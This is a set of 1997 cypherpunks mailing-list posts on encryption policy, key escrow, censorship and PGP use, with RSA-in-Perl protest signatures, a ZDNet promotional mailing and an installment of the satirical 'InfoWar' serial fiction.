There is very little teaching of the Constitution or of Government in
public schools. Many years ago when I was in HS Civics entailed a 1
semester course 1/2hr a day in your senior year. While American history
may still be taught in the public schools it is done so by socialist who
have no interests of enlightening their students of the reasons this
country was founded or the philosophies that it is founded on.

We are paying today for allowing the socialist/statist taking control of
the education of our children 30 yrs ago.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNB21zY9Co1n+aLhhAQGrqwQAr2QTKRkd/khyh9ZKJ9AXYyZwnEQaqO/e
ZU/+1EXJDTStSnE9W5wQO64u2l1Z8M3iKF1x6Ucf80O2wINrarwBhiblzq6i8OuX
KvNx9EIT0cHRL/Vs4CJj7wwuBiBg+safKmw2R/gHDyCL7XICpYoBA0mbOSyk0zAv
Kko8mjwTflE=
=7wue
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Mon, 15 Sep 1997 16:48:27 +0800
To: cypherpunks@cyberpass.net
Subject: Mandatory Voluntary Cencorship in OZ
Message-ID: <199709150838.SAA18421@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



full text at:
http://www.australian.aust.com/archive/15-Sep/n01.htm

Howard moves to censor secrets
By defence writer DON GREENLEES

September 15: The Federal Government is renewing efforts to protect
national defence and intelligence secrets under a revived system of
media censorship.

Cabinet's National Security Committee decided early this month to
start talks with media executives on voluntary censorship and backed
away from threats by the former government to impose $1 million
($US723,000) fines over publication of official secrets.

But the Government will put the onus on the media to make voluntary
censorship work or ultimately face legislation that would impose huge
fines for disclosure of sensitive military and intelligence
information.

It comes almost two years after the Labor government reached an
impasse with media executives over a proposal for a "voluntary" system
backed by $1 million fines for a prohibited broadcast or publication.

The move followed revelations by disaffected former Australian Secret
Intelligence Service agents of spying operations and about the bugging
by Australian intelligence of foreign embassies, including China's and
Japan's.

Senior sources said the six-member Cabinet security committee, chaired
by John Howard, had decided to take a more conciliatory line than the
former government by first trying a genuinely voluntary system to
maximise the chances of winning media agreement.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 16 Sep 1997 10:29:36 +0800
To: Asgaard <cypherpunks@toad.com
Subject: Re: US dissident in Sweden
In-Reply-To: <Pine.HPP.3.91.970916010005.26629A-100000@cor.sos.sll.se>
Message-ID: <v03010d0eb0439414c503@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:06 AM +0200 9/16/97, Asgaard wrote:
>The Dagens Nyheter reported yesterday that a US citizen,
>Mr Ritt Goldstein, is in Sweden asking for political asylum.
...
>
>The latest crypto policy news here says that Sweden will not
>go along will mandatory GAK.  ...

I wouldn't count on Sweden as a haven for strong crypto or,
in particular, untraceable anonymity. Also, the Swedish national
police have quite a few skeletons in their closet with respect
to personal integrity (look for references to IB, the
"Information Bureau" or read the entire series of Sjovall/Wahloo
"Martin Beck" novels.)

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 16 Sep 1997 08:53:53 +0800
To: shamrock@netcom.com>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <3.0.3.32.19970912171321.006b57f8@schloss.li>
Message-ID: <Chameleon.874367040.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



OR...

They are passed by voice vote of "unanimous consent" as was done with the 
'brady bill' when only 5 senators were present.

amp

------------------------
  From: Lucky Green <shamrock@netcom.com>
  Subject: Re: House National Security committee guts SAFE, worse than no 
bill 
  Date: Fri, 12 Sep 1997 21:55:42 -0700 
  To: "Brock N. Meeks" <brock@well.com>
  Cc: cypherpunks@toad.com, cryptography@c2.net


> At 09:12 PM 9/12/97 -0700, Brock N. Meeks wrote:
> >Don't count on the language being yanked in Judiciary.  The real "only 
> >hope" is actually an incredibly low tech and unsexy thing called "time."
> >
> >The 105th Congress wants to split early, possibly in three weeks!  Yes, 
> >three weeks (hard working lot, eh?)  There is no way this bill gets 
> >through the Rules committee with multiple versons floating around and 
> >then gets brought to the floor for a vote... won't happen.
> 
> Are you sure about this? Traditionally, anti-civil liberties legislations
> is passed by well over 90% of the vote only days before Congress 
adjourns.
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/15/97
Time: 19:42:59
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 16 Sep 1997 12:18:32 +0800
To: cypherpunks@toad.com
Subject: The NetBuyer Basement is Open!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.21722.09151997200213.80702@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------  
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----------------------------------------------------------------

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_______________________________________________________________
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events and free offers available to members of ZDNet.     

 --To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com You can leave the subject and body
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=============================================================== 



  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Myron Lewis" <mrlewis@keygen.com>
Date: Tue, 16 Sep 1997 08:40:56 +0800
To: "Robert Hettinga" <rah@shipwright.com>
Subject: Your Privacy and Your Life
Message-ID: <19970916003614.AAA3667@mrlewis.tiac.net>
MIME-Version: 1.0
Content-Type: text/plain



 Bob:  After spending a lot of time following the mail recently, I informed
a friend (a prominent economist with a major firm that manages money and
investments for governments and the like) about the latest goings on in the
U.S. government's attempt to essentially ban privacy.  He came up with a new
twist that I thought might be interesting to many.

Editorial note: Jay is not a cryptographer, so by "unbreakable" I think he
should mean breakable only with extreme difficulty (i.e. it's not worth the
effort)) without the key(s).

I have encapsulated the term in quotes. .....MRL.



PROPOSED BAN ON "UNBREAKABLE" DATA ENCRYPTION

IT'S NOT JUST YOUR PRIVACY THAT IS AT STAKE: IT COULD BE YOUR LIFE!



The Federal government wants to make it unlawful for anyone in the US to use
any form of data encryption, to which a key has not been provided to the
Federal government. In effect, the proposed laws outlaw privacy. Government
officials claim there is no communication which they should not be able to
read. Government officials claim they need this power so they can catch
criminals, terrorists and spies.

Key questions that must be asked of those who support giving government
officials this extraordinary power:

Why should the doings of criminals set the standard of behavior to be
applied to the vast majority of Americans, who are law-abiding?

Do government officials expect criminals to obey this law?

Do government officials have any data series which show the number of cases
in which intercepted data/telephone communications were the only evidence
available for use against the accused?

"Unbreakable" encryption can save your life. Most of us have records in all
sorts of databases, for all kinds of good reasons (tax records, payroll
records, medical records, military service records, credit card usage, car
rentals, etc.). The advent of cheap computing power makes it possible for
these databases to be linked, so that a quite complete picture of each
American can quickly be assembled. These data can be potentially lethal. For
example, if an abused woman has fled to a distant part of the country, these
data can be searched with relative ease by her abuser, if he has the
requisite computer skills. With "unbreakable" encryption, his efforts will
be blocked. Rather than banning "unbreakable" encryption, Federal law should
mandate it for key personal databases, of the type listed above.

At an extreme, your personal data could be used to target you for genocide.
In most European countries, citizens must carry national identity cards, a
form of internal passport. When one moves to a new town, one must register
with the police there. Those who have watched movies depicting World War II
in Europe perhaps recall Gestapo agents stopping persons on the streets and
demanding to see their "papers". Police officers in Europe can still demand
to see national identity cards when they wish to do so: minorities are often
targeted.

We do not have "national identity" cards here in America. Yet. But the
various databases, if linked, could formal a virtual "national identity"
card. Thus, if as future administration decided it wanted to target a
certain group of Americans, as was the case with Japanese-Americans during
World War II, those databases could become a virtual death warrant for those
in the target group.

Rather than supporting a ban on "unbreakable" encryption, every American
should demand that Congress require key databases be "unbreakably"
encrypted, and that severe punishments should be meted out to those who
refuse to "unbreakably" encrypt such databases.

The Federal government's argument that a ban on "unbreakable" encryption
will cripple its efforts to protect us against criminals overlooks a key
fact. The biggest criminals in this century have not been common or
organized criminals. The biggest murderers in this century have been
officials of governments "gone bad". In eight major genocides between 1915
and 1994, 57 million were murdered, including millions of children. In the
Nazi genocide alone, 13 million were murdered in 13 years. It would take
Europe's common criminals about 400 years to murder so many, if America's
peak murder rate in the past 20 years (10.2/100K in 1980) were applied to
Europe.

Plenty can be done to curb violent criminals. But asking us to accept a ban
on "unbreakable" encryption is asking us to commit suicide for fear of
death. Call your Congress member and demand they vote against the ban on
"unbreakable" encryption. The life you save may be your own, or those of
your spouse, children and grand-children.

Jay Edward Simkin, Research Director, JPFO (Milwaukee, WI)

  Ed. note:  This is not his real job.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 16 Sep 1997 13:16:48 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Attacking GAK--team effort assembling
In-Reply-To: <v03102800b04369567696@[207.167.93.63]>
Message-ID: <3.0.3.32.19970915220031.006aef54@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:20 PM 9/15/97 -0400, William H. Geiger III wrote:
>I think that the most effective way to attack GAK is to get moles on the
>inside of the corporations like IBM,HP,...ect who will no doubt be very
>active in putting this together.
>Once they have their systems up and running activate the moles and
>fire-up Blacknet. :)

We did that years ago - TPC invented the UUCPnet, and Steve Bellovin
and friends invented Usenet, and for several years the Center Of The Earth
was either Peter Honeyman's allegra machine or ihnp4.  You'll find 
Steve and Honey hanging out on coderpunks or cryptography...
Since then it's mutated and taken over the world.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 16 Sep 1997 11:18:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The great GAK crack (making GAK economically impossible)
In-Reply-To: <97Sep15.114111edt.32260@brickwall.ceddec.com>
Message-ID: <Chameleon.874375612.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain





------------------------
  From: nospam-seesignature@ceddec.com
  Subject: The great GAK crack (making GAK economically impossible) 
  Date: Mon, 15 Sep 1997 11:41:53 -0400 
  To: cypherpunks <cypherpunks@cyberpass.net>


> 
> If I have to GAK my keys, and there then exists a pgp-gak, then we simply
> recruit the same CPU power that generated the millions of DES keys to
> just
> run pgpk-gak with the shortest keylength and send billions of keys to the
> GAKserver each week.  Many from out of the US if pgp-gak becomes
> available
> there.
 
> My test software uses a loop that generates a new pair every few seconds
> on a pentium (and found some very obscure bugs).  I would be required to
> send all those to the gak.gov.  If they really want them...
 
> What it probably means is the govenrment will issue keys or have to
> license people to create them.
 
which bugs would those be? key generation is pretty critical. i'd be 
interested in any strange results you've found.



------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/15/97
Time: 22:04:56
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 16 Sep 1997 06:35:37 +0800
To: junger@upaya.multiverse.com
Subject: Prof Junger exports [was Re: Court proceedings under new SAFE act]
In-Reply-To: <199709141158.HAA18846@upaya.multiverse.com>
Message-ID: <199709152124.WAA03211@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Junger <junger@upaya.multiverse.com> writes:
> Omegaman writes:
> : What if I respond to Adam Back and accidently forget to snip his .sig? 
> : (if that's not prior restraint, I don't know what is!)
> 
> What it is, under current law, is a violation of Export Administration
> Regulations, unless you somehow get a license before you send the
> reply.  

Er, was this a slip up, is Peter trying a new tactic in his legal
explorations...

Peter (accidentally, or a slip-up) exports by quoting:

] To: Cypherpunks <cypherpunks@cyberpass.net>
] From: "Peter D. Junger" <junger@upaya.multiverse.com>
] Subject: Re: House National Security committee guts SAFE, worse than no bill 
] Date: Fri, 12 Sep 1997 08:03:38 -0400
] 
] Adam Back writes:
] : 
] : Declan McCullagh <declan@well.com> writes:
] : > 
] : > I was talking to someone after a law class this evening (we're covering
] : > electronic privacy topics, but unfortunately we're not at crypto yet). He
] : > suggested widespread civil disobedience. 
] : 
] : Might I suggest using RSA in perl:
] : 
] : print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
] : )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
] : 
] : which is now officially non-exportable (as reported by Peter Junger;

Oh dear.  Someone call the feds :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 16 Sep 1997 14:20:46 +0800
To: Lizard <cypherpunks@toad.com
Subject: Re: PGP Usability
In-Reply-To: <199709151709.KAA05123@gabber.c2.net>
Message-ID: <3.0.3.32.19970915230203.006b9d4c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:40 AM 9/15/97 -0700, Lizard wrote:
>PGP/Eudora is a wonderful example of this. All that is needed to use it is
>one extra step (after install) -- typing your passphrase to sign a message
>before it is sent. Otherwise, it works the same as it always has. As a side
>effect, you can right-click to encrypt any file you can see in Explorer.
>Simple, quick, and usable even by the brain-dead, once you've convinced
>them TO use it. (And I forgot to bring my key file to work, so my Eudora
>here is useless for those purposes. Bother.)

So generate a work key at work, for encrypting/signing work stuff, and get
your home key off the keyservers for encrypting stuff for home use.

I'm also highly pleased to see Eudora and PGP together, since there's
a base of about 20 million Eudora users that PGP will pick up some of.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 16 Sep 1997 15:58:54 +0800
To: cypherpunks@toad.com
Subject: InfoWar 11 / HTML
Message-ID: <341E35C8.67BC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Distributed Mind 
Real TV


Distributed Mind


Bubba Rom Dos and the Cowboy sat silently staring at one another
across the antique oak table which increasingly served as a reminder
that their present was also a part of a long distant past.

A past which wouldn't go away...

"Good morning, gentlemen." d'Shauneaux tipped
his hat to the somber pair of time-worn miscreants.
"Ladies..." he said, turning to the sleeping
figures on the cots at the back of the room, while giving himself
a hitch in the crotch.

Cowboy and Bubba broke into wide grins, for the first time in
quite a while. Cowboy nudged Rom Dos and stage-whispered, "It
looks like our 'other brother, Bubba' is going to die a slow and
horrible death at the hands of the Feminazis."

"Those who do learn from the past, are happy
to repeat it!" came the voice of the 'sleeping' Priscilla.

"Put it back in your pants, Bubba #3." came the
voice of the 'sleeping' Alexis.

d'Shauneaux looked confused.
"Who is Bubba #2?" 

Bubba Rom Dos rose to his feet and winked at d'Shauneaux while
giving himself a hitch in the crotch. He returned to his chair
amidst a roar of laughter from the maddening crowd of Mythical
Remnants, as they had dubbed themselves after the experiences
of the last few days.
Alexis smiled at having used this shared joke from her and 'Uncle
Bubba's' sordid past to set up d'Shauneaux for the punch line.
Priscilla just shook her head in disgust at this reminder of what
she had subjected her poor young daughter to in the days of her
youth.

After the morning hugs and the morning toasts had been taken care
of, the group got down to the business of waiting silently for
one or another of them to find some slim ray of hope to offer
to the others concerning their rapidly deteriorating situation.


"What the hell happened to InfoWar?" d'Shauneaux
said, out of the blue.
The others looked at him as if that was exactly what they had
expected him to say.

"Damned if I can figure it out." the Cowboy shook
his head, looking bewildered.

"It died before it was born, from what I understand."
Priscilla seemed equally mystified.

"It was strange." Alexis commented. "It
appeared in the shadow of the InterNet, becoming a looming figure
of the future when the 'Information Highway' took hold, but after
the opening salvo was fired on the CypherPunks list, it just quietly
disappeared.
"As if it had never begun." she added.

Everyone turned toward Bubba, awaiting his contribution to the
discussion, but he sat there staring at each of them in turn,
and all of them at once, with a puzzled look on his face. It wasn't
a 'good' look, it wasn't a 'bad' look, it was...

"Distributed Mind!" Bubba suddenly intoned in
a whispered shout.

The others stared at him, dumbfounded, but unsure as to why, or
about what.

"Distributed List!" the Cowboy slapped his forehead.

"Distributed Persona!" Alexis said, as if waking
from a dream.

d'Shauneaux rose from his chair with a look of divine revelation
on his face, as if blessed with a vision from the heavens. He
held his hand out above his head as if calling for complete silence
while he drank in the last sips of the spiritual liquor from above.

Finally, he spoke, while grabbing his crotch, once again,

"Distribute this!" he shouted, causing
everyone in the room to burst into a fit of laughter that seemed
like it would never subside.

"So what, exactly, are we talking about, here?" d'Shauneaux
asked when the laughter had finally ceased.
"I'm getting the distinct impression that all of you are
finishing a conversation that you never started. Not that I understand
what I just said, you understand."

"Exactly!" Bubba broke in, as if d'Shauneaux
had just cleared up an important question that hadn't yet been
asked.
"Multi-user persona. Distributed list.
"Distributed, multi-user persona."
"Distributed Mind!" Bubba shouted...for
real, this time.

The small collection of practical mystics looked at one another
in awe of what they seemed to be realizing, as if of one mind...

The Cowboy was the first to say what all of them now knew. 
"InfoWar was never fought, because by the time it began,
it was already won!"


? the Lunatic sat on the futon, sipping Jim Beam and speaking
softly to Baby as he scratched her behind the ears.
Although he knew he was as crazy as he had ever been, it was an
experience which he could only describe as 'Stone-Cold Crazy.'

"Stone-Cold Crazy, Baby." he told her, sure that
she understood.

He continued talking to her, not to imbue the moment with great
meaning, but seeming to need to burn off an excess of random thoughts
that were sweeping rapidly through his mind, all interconnected
but needing to find release if they were ever to be slowed down
and sorted out in the realm of reality.

"If it wasn't for the word, 'Baby', there wouldn't be
no Rock & Roll!" 
It was as good a place as any, to start. The hallowed words
of Gomez, himself.

"Time flies like an arrow. Fruit flies like a banana."

The final words of the Author in "The Xenix Chainsaw
Massacre."

? the Lunatic spoke quietly, but rapidly, pouring forth a liturgy
of quotes and thoughts, wavering back and forth between rationality
and dementia.

"Patience comes to those who wait. If you don't leave
me alone, I'll find someone who will. Will I still respect you
in the morning? Hell, I don't respect you now! Who put the Ram
in the Rama-Rama Ding-Dong? My madness takes it's ground-round,
59 cents a pound. SPACE ALIENS HIDE MY DRUGS!"

What was he looking for? It was on the tip of his tongue. It was
everywhere and nowhere. It was in the midst of his sanity and
at the depths of his madness.
It was...

"TV is REAL!" the voice came loud and
clear, stretching from the distant past to the equally distant
future.

"TV is REAL. TV is REAL. TV is REAL!" he repeated
over and over, knowing that if he could just focus on what meaning
it held...what meaning it held...

"InfoWar!" thought ? the Lunatic, suddenly remembering
the question:
"What the hell happened to InfoWar?"

"TV is REAL!" he said, not daring to believe
what he heard in his inner mind as the words were spoken.
"InfoWar was over before it began..."


"It was over before it began." he repeated.

Suddenly, everything was crystal clear.


Real TV


The tattered remnants of the Magic Circle were having the time
of their lives. While their world was fast falling apart, both
in the present and in the past, they were celebrating life in
both milieu at once.

"George Goebels." Cowboy said. "He was
a riot!"

"And 'I Love Lucy' wasn't?" Priscilla gave him
a doubtful look.

"Paul Neuman." d'Shauneaux said. "He
knew the 'rules' of war!" He feinted a kick to the Cowboy's
groin.

"Bianca and Blanc!" said Alexis, acting coy.

"They weren't in any of the movies we watched." Cowboy
gave Alexis a stern stare for stepping out of line with the rest
of the group's conversation.

"That's right, Alexis." Bubba joined in, wagging
two fingers at her menacingly before turning to stick them into
the Cowboy's eyes, slapping d'Shauneaux across the face, and then
banging the two men's heads together.

"The Three Stooges!" Jonathan called out, throwing
everyone into fits of laughter as they recognized Bubba's excellent
parody of the trio who had won the comedic hearts of boys and
men throughout history, while leaving the girls and women scratching
their heads.

Bubba passed around a bottle of his 'Special Reserve' Jack Daniel's
and the Cowboy started a bottle of Jim Beam moving in the opposite
direction.
"To Bogie and Bacall." Bubba said, raising his
glass in toast, and the others nodded their agreement with his
astute judgment in settling the battle of the sexes amicably.

Once they were done reveling in the mountains of pleasant memories
which would now be permanently etched in their minds from their
marathon video cruise through the past, they turned to the more
serious business of discussing the dark side of the technology
they had been studying nonstop, day and night, for several days.


"McLuhan nailed it." Alexis was the first to
speak. "The medium is the message."

"It has been true since the dawn of time, and will remain
true until the sun sets on this mortal stage within which we make
our exits and our entrances." Bubba said, solemnly, looking
as serious as he ever had since the gathered group had known him.

"McLuhan was a compatriot of Bubba Rom Dos I." Bubba
continued, with a tone of respect in his voice that those assembled
had rarely heard. "It is no surprise that the Author understood
the future of mankind, for better or worse, lay within the breast
of the InterNet, long before it became the common view. He knew
that man and machine, mind and data, would finally be irretrievably
wed in the march toward the future.
"And he saw the specter of the Evil One's hand casting its
shadow over the InterNet, even in the days when the handful of
others who knew of its existence were looking to it as the coming
Savior of mankind."


"Kill!" commanded the grizzled old guru, and
the IntelliVoice Matrix scanned their recent conversation, bring
up to the GraphiScreen the relevant passages from "The Xenix
Chainsaw Massacre."

~~~

Gomez had seen the media bringing the far-flung reaches of
the world and its people closer and closer together with each
new technological development. Prehistoric man lived and died,
for the most part, within a matter of miles from the place of
his birth. With the invention of the wheel he began to travel
a little further...into new and foreign lands. In the days
of sailing ships it took man the better part of his lifetime to
cross the oceans, navigate the world, and return home. Then came
faster ships, then airplanes and jets.

Communications technology made the world smaller, but only
at the limits of its current level of development. Mail brought
news over a period of years, then months, then weeks and days.
Newspapers brought news of the outside world to the average citizen.
Then suddenly, with the advent of the telegraph, the wireless,
radio and television, the world became an extension of ourselves-and
we became an extension of the world.

Now, when it happens in Paris, in Vietnam, in Russia, it happens
here-in our living room-nightly. Fashion trends, opinions, world
views-these are no longer our own private enclaves of individuality.
What we do, and espouse, belongs to the world, and what they adopt
and embrace belongs to us. All of mankind now shares, in an interactive
experience, the reverberation of all that we do, individually
and collectively,-spanning the oceans and continents until it
has finally become a truism that, "no man is an island."

~~~

The clan of true believers sat with their heads bowed, almost
weeping with the force of emotion that descended slowly upon them
as their minds retraced the trail of history they had followed
from the Author's era to their own. Knowing, all the time, the
end that would come unexpectedly on the unsuspecting souls who
thought that Technology was going to be a kind God, and
a good Master.

"How was it that the Author saw what nobody else at the
time seemed to notice?" Alexis asked Bubba. "How
did he manage to foresee so clearly the Dark Path that lay ahead
for a technology that was still in its infancy?"

Bubba smiled, feeling in his element, in control, once again.
He was, after all, a teacher of metaphysics, first and foremost,
no matter what his outwardly outrageous personal predilections.

"The Author saw no more than those with eyes to see have
seen from the beginning of time. The difference was that he recorded
what he saw, and he followed its trail into the future by bearing
in mind the past."

"Brave New World." Jonathan said. "Animal
Farm. Catch-22. One Flew Over the Cuckoo's Nest. Them. Invasion
of the Body Snatchers. Night of the Living Dead."
Jonathan knew these titles by heart, from the books in his
Grandfather's study.

Each member of the Magic Circle broke into a wry grin, as if from
a single pair of lips. Yes, Bubba was right. There were those
who saw, and those who spoke of the world that lay beyond the
veil of mechanical consciousness, throughout the annals of time.

"The Author was not alone in his vision, he merely recorded
it at a time and place in history where his words would prove
conspicuously prophetic because society and technology were moving
at such a rapid pace that tomorrow's seeds were blooming today,
but nobody was stopping to smell the flowers." Bubba
pointed out.

"Or the stench!" the Cowboy added.

The Cowboy sprang from the lineage of the Author, and he understood
very well the nature of the startling prophecies he made which
so astounded those who read his manuscript with the benefit of
the hindsight provided by the march of history.

They continued reading the excerpt from the "TXCSM"
manuscript:

~~~

We now live in an age where, in between the slumber of the
soap operas and the bewitchment of 'prime time,' we are fed our
opinions and world-views in catch-phrases and ten second sound-bytes.

At the same time, Gomez sees to it that there is enough trouble
and turmoil in the world that the World Leaders, even in democracies,
can chip away at human and individual rights under the guise of
dealing with various 'threats' that they, themselves, have concocted
as a means of retaining power over the masses.

Even as the governments of the world strive to bring everyone
and everything, however minute, under tight control and regulation,
Gomez and the Dark Allies are behind the scenes, helping to guide
the development of a technology that will, along with television,
be the ultimate weapon in their struggle for the domination of
all mankind-the Computer.

~~~


Priscilla was the first to mention what they were all thinking,
this time.
"It's almost like reading the Cypherpunks list."

"It predated the CypherPunks list," the Cowboy
noted, "but it didn't predate the CypherPunks. They, like
the Magic Circle, have existed from the beginning of time.
He looked at Jonathan to explain further.

"If the Cypherpunks had never existed, then history itself
would have had to turn back on itself and invent them before moving
forward."
Jonathan watched the smiles of his dearest friends as they
saw the love with which he spoke of those who had helped shape
his childhood. It was the same love that they had all experienced
in the bond they felt within the Magic Circle.
"The Cypherpunks mailing list gave hope and sustenance
to the Circle of Eunuchs initiates who happened across its path.
Since the original meeting where the Magic Circle had been formed,
they had been forced to work alone, in secret, never knowing if
their efforts would ever make a difference in the larger scheme
of things."

They returned to the excerpts:

~~~

The rich and powerful have managed to lull us to sleep with
the hypnotizing power of television-stealing our thoughts and
our reasoning processes in our slumber, feeding us our reality
via the airwaves...according to the 'official' party line.

The government and the media have placed us on neat little
shelves where we are numbered and labeled according to their own
wants and needs. We are allowed the illusion of freedom of thought,
and individual choice, as long as we have our 'Freedom of Thought
Permit 1136.51-709' and don't stray too far from the permitted
paths.

~~~

Jonathan told the assembly, "The Cypherpunks, more than
anyone in their era, understood that."

"And the Circle of Eunuchs understood that..."
Bubba pointed to the words only now beginning to take shape
on the screen he had opened.

~~~

In the great battles of the past the Dark Forces have always
been beaten by the individuals scattered in the secret places,
living unnoticed in obscurity. Living quietly and unobtrusively,
forgotten about in the madness storming the land, they have kept
alive the spark of Thought and Reason. They were able to go quietly
about their work, making contact with the individuals who were
ready to escape the madness and work towards restoring Sanity
in the land.

~~~

The Cowboy stood up and made a sweeping gesture toward the screen,
as it filled anew, saying, "And both organizations contained
a variety of individuals who, despite the fact that the minds
of almost all of society around them was caught in the grip of
the Evil One's mind-numbing vortex, rose above the automatism
of their age to do what they could to warn their fellow citizens
of the following..."

All eyes turned toward the screen, to read:

~~~

This time there will be no escape. Every man, woman and child
on the face of the earth will have a dossier documenting their
life from the time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their
Social Security Number, banks, credit cards, magazine subscriptions,
charitable and political contributions.

When Gomez removes the masks of his human allies, revealing
them as dark agents who have been rewarded with wealth and power
for doing the bidding of the Evil One, the names of the misfits
and wrong-thinkers will be spit out of the computers at the speed
of light-to be rounded up and disposed of in the opening salvo
of the new Holocaust. 

Only then will the final Battle of Armageddon begin, ravaging
the face of the earth and devouring humanity; bringing total control
of humankind under the Dominion of the Evil One, with nobody but
the Waking Dead left to carry on the human race.

~~~

The group sat quietly, in solemn honor of those throughout history
who had held closely to the small, quiet spark of the Tao, the
human spirit, the Creator, or whatever they envisioned when Eternity
whispered to their souls.

Slowly, they began to stir, and rose to silently stretch before
returning once again to the great oak table to continue their
quest for understanding as to how and why they must find some
way to make their reach into the past result in a slight shift
in the course of history...a shift that could move mountains
in the CypherPunks' future...and in the Magic Circle's present.



? the Lunatic turned the page on a manuscript that had just been
set down a century in the future. He knew what the Magic Circle
of that era knew, and he knew what they needed to know to bring
their desperate gamble to a successful conclusion.

~~~

Gomez and the Dark Allies began their two-pronged attack on
mankind through the Wonderful World of Television. They had seen
the hypnotizing power of television, how it made us 'comfortably
numb,' how it shaped our world-views, our opinions, and our reality...eventually
becoming our reality.

Zappa tried to warn us.

"Watch me and I'll bleed you, 'cause you eat the shit
I feed you."

Fogherty just gave in, and accepted it.

"I know it's true. Oh, so true. I saw it on TV."

~~~


InfoWar was over before it even began.
After reading this passage, for the umpteenth time, ? the Lunatic
finally understood, with the help of those who had seen, and been,
the living proof of both this passage and another one which
had leapt to his mind to start him on his current train of thought.

"TV is REAL." 
A bumper sticker that the Circle of Eunuchs had promulgated during
the life of the Author, knowing that not one person in ten thousand
would understand what it truly portended for their future.

"Real TV, Baby." 
? the Lunatic petted her lovingly, as she licked his arm in
return.

"Video_World, and TV_World. Those were the titles we had
put to Part II of 'The True Story of the InterNet.' But that was
before the censorship crisis on the CypherPunks mailing list,
when we saw the sticky, tangled tentacles that lay at the root
of the World Wide Web.
